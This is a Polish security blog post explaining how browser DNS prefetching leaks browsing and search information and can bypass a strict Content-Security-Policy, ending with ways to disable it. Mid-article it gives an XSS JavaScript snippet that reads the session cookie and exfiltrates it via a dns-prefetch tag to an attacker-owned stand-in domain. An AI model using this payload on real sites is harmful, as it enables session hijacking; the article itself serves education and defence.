NFsec Logo

Kilka komplikacji związanych z używaniem DNS Prefetchingu

31/03/2019 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 688, ilość słów: 724)

K

ilka lat temu opisałem, jak w prosty sposób można przyśpieszyć działanie strony za pomocą mechanizmu DNS Prefetch. Zdając sobie sprawę, że usługa DNS, a prywatność to dwie różne ścieżki – okazuje się, że i ten mechanizm z punktu widzenia bezpieczeństwa ma swoje negatywne aspekty. Duża liczba zapytań DNS, które wywołuje ten mechanizm może dać atakującemu przydatne informacje na temat rozwoju potencjalnych ataków. Na przykład możemy wyobrazić sobie złośliwą stronę internetową, która śledzi użytkowników za pomocą łączy do określonych domen na stronach HTML, a także obserwuje żądania rozpoznawania DNS dla tych domen. Jeśli nasza przeglądarka zaczyna “wchodzić” w tle na inne linki, z których nie mamy zamiaru skorzystać buduje to przestrzeń do potencjalnych nadużyć. W ten sposób ktoś może nam podsunąć złośliwe domeny i wykorzystać je do ataków pokrewnych np. DNS rebinding.

– Przecież ja nigdy nie klikałem na badboys.pwnyou.pl.
– Nie musiałeś Twoja przeglądarka rozwiązała tą domenę gdy byłeś na stronie zaległefaktury.pl.

No dobrze, ale możliwe jest uzyskanie tego samego rodzaju informacji prościej. Za pomocą specjalnie spreparowanych tagów HTML dla obrazków lub poprzez osadzanie ramek iframe na stronach internetowych. Zgoda, tylko co w sytuacji, gdy korzystamy z wyszukiwarek? Jeśli wpiszemy w wyszukiwarkę dowolną frazę – otrzymamy listę linków. Nasza przeglądarka zacznie wysyłać zapytania DNS o domeny z tych linków. Więc ktoś kto ma dostęp do określonego serwera DNS obsługującego nasze zapytania jest w stanie zrekonstruować z większą lub mniejszą dokładnością nasze frazy wpisywane w wyszukiwarce np. koty.pl, cowsierscipiszczy.pl = “koty”, “koty domowe”, “koty rasowe” itd. Oczywiście atak ten zakłada dostęp do pamięci podręcznej lub logów serwerów DNS naszego ISP lub innej firmy, z której serwerów DNS korzystamy – chyba że połączyliśmy się do wrogiej sieci. Ale nikt nie powiedział, że ISP / firma nie może na podstawie tych zapytań profilować nasze zachowanie i podsyłać odpowiednie reklamy. Innym wariantem pozyskania danych jest np. założenie określonej liczby domen i wyprofilowanie ich dla konkretnych słów kluczowych. Wtedy nie potrzebny jest dostęp do infrastruktury ISP, ponieważ to serwery DNS obsługujące te domeny mogą stanowić prywatną własność osoby, która przeprowadza atak sondujący. Manipulując czasem ważności rekordów (TTL ) i poprzez obserwację zapytań do swoich serwerów DNS osoba taka może widzieć kto wyszukuje jakie słowa kluczowe. Nie będą to dane z dokładnością do konkretnego adresu IP komputera użytkownika, ale raczej grupy klientów (jako całości), która używa danego resolvera publicznego do zapytań rekurencyjnych.

Oprócz wycieku informacji istnieje jeszcze prawdziwy scenariusz ataku na webaplikację przy użyciu DNS Prefetchingu. Wyobraźmy sobie, że atakujący odkrył aplikację internetową podatną na atak XSS, w której może wstrzyknąć kod JavaScript (nie w trybie inline). Jednak polityka CSP (ang. Content Security Policy) zapobiega wyciekowi informacji i atakujący nie może wysłać żadnych danych do swojego zewnętrznego serwera. Polityka, która jest bardzo surowa (pozwala na ładowanie skryptów tylko z tej strony) ustawiona jest w następujący sposób:

Content-Security-Policy: default-src 'none'; script-src 'self'

Teraz korzystając z automatycznego rozwiązywania DNS atakujący może zawrzeć informację, którą chce wykraść w zapytaniu DNS do domeny, której jest właścicielem. Na przykład ciasteczko z wartością sesji “abcd1234” zostanie przekształcone w nazwę domeny “abcd1234.atakujacy.pl”, którą można teraz wstrzyknąć do DOM (ang. Document Object Model) strony za pomocą następującego tagu:

<link rel="dns-prefetch" href="//abcd1234.atakujacy.pl">

Poniższy kod JavaScript spowoduje wstrzyknięcie powyższego tagu do strony:

var sessionid = document.cookie.split('=')[1]+"."; 
var body = document.getElementsByTagName('body')[0]; 
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\"
  href=\"//" + sessionid + "atakujacy.pl\">";

Po wykonaniu wstrzykniętego kodu JavaScript przeglądarka rozpocznie procedurę wstępnego rozwiązywania DNS i odpyta się o domenę “abcd1234.atakujący.pl”. Teraz napastnik musi jedynie przejrzeć logi z żądaniami DNS do swojej domeny, aby móc odczytać zawartość ciasteczka z sesją.

Podsumowanie:

Jeśli chcemy wyłączyć DNS Prefetching na stronie, za którą jesteśmy odpowiedzialni wystarczy, że dodamy meta tag o zawartości:

<meta http-equiv="x-dns-prefetch-control" content="off">

Nasz serwer może również wysyłać w odpowiedzi na żądania HTTP nagłówek: X-DNS-Prefetch-Control o wartości: off:

X-DNS-Prefetch-Control: off

Od strony przeglądarek: Chrome, Firefox oraz Safari również są odpowiednie ustawienia umożliwiające wyłączenie tego mechanizmu.

Więcej informacji: DNS Prefetching, DNS Prefetching and Its Privacy Implications, What security implications does DNS prefetching have?, Bypassing Content-Security-Policy with DNS prefetching

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , , ,

Komentowanie tego wpisu jest zablokowane.